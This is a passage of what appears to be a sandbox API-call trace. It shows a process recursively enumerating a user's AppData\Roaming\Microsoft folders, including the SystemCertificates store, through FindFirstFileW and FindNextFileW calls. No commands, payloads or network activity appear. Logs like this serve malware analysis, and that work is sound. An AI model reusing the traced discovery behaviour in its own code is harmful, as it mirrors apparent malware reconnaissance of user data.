ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.318] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.318] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.318] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="CRLs", cAlternateFileName="")) returned 1 [0098.318] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="CRLs" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0098.318] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" [0098.318] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.318] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.318] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.318] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.318] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="CTLs", cAlternateFileName="")) returned 1 [0098.319] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.319] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="CTLs" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0098.319] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" [0098.319] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.319] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.319] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.319] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.319] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.319] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.319] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="CTLs", cAlternateFileName="")) returned 0 [0098.319] FindClose (in: hFindFile=0x71e8b80 | out: hFindFile=0x71e8b80) returned 1 [0098.319] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="My", cAlternateFileName="")) returned 0 [0098.319] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0098.319] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdfee3c0, ftLastAccessTime.dwHighDateTime=0x1d3ab1a, ftLastWriteTime.dwLowDateTime=0xdfee3c0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0098.319] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.319] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Templates" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates" [0098.319] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\*" [0098.319] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdfee3c0, ftLastAccessTime.dwHighDateTime=0x1d3ab1a, ftLastWriteTime.dwLowDateTime=0xdfee3c0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e8b80 [0098.337] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.337] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdfee3c0, ftLastAccessTime.dwHighDateTime=0x1d3ab1a, ftLastWriteTime.dwLowDateTime=0xdfee3c0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.337] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.337] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="LiveContent", cAlternateFileName="LIVECO~1")) returned 1 [0098.337] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.337] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates", pszFile="LiveContent" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0098.337] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*" [0098.337] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.337] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.337] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.337] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.338] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="16", cAlternateFileName="")) returned 1 [0098.338] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.338] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", pszFile="16" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0098.338] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*" [0098.338] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9ae0 [0098.338] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.338] FindNextFileW (in: hFindFile=0x71e9ae0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.338] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.338] FindNextFileW (in: hFindFile=0x71e9ae0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Managed", cAlternateFileName="")) returned 1 [0098.338] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.338] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", pszFile="Managed" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0098.338] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*" [0098.338] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea620 [0098.412] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.412] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.412] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.412] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Access Parts", cAlternateFileName="ACCESS~1")) returned 1 [0098.413] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.413] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", pszFile="Access Parts" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts" [0098.413] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\*" [0098.413] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea800 [0098.413] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.413] FindNextFileW (in: hFindFile=0x71ea800, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.413] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.413] FindNextFileW (in: hFindFile=0x71ea800, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 1 [0098.413] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.413] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts", pszFile="1033" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\1033") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\1033" [0098.413] PathCombineW (in: pszDest=0x6a1d1c0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\1033", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\1033\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\1033\\*" [0098.413] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Access Parts\\1033\\*", lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea6e0 [0098.413] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.413] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.413] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.413] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.413] FindClose (in: hFindFile=0x71ea6e0 | out: hFindFile=0x71ea6e0) returned 1 [0098.413] FindNextFileW (in: hFindFile=0x71ea800, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x51a77b10, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x51a77b10, 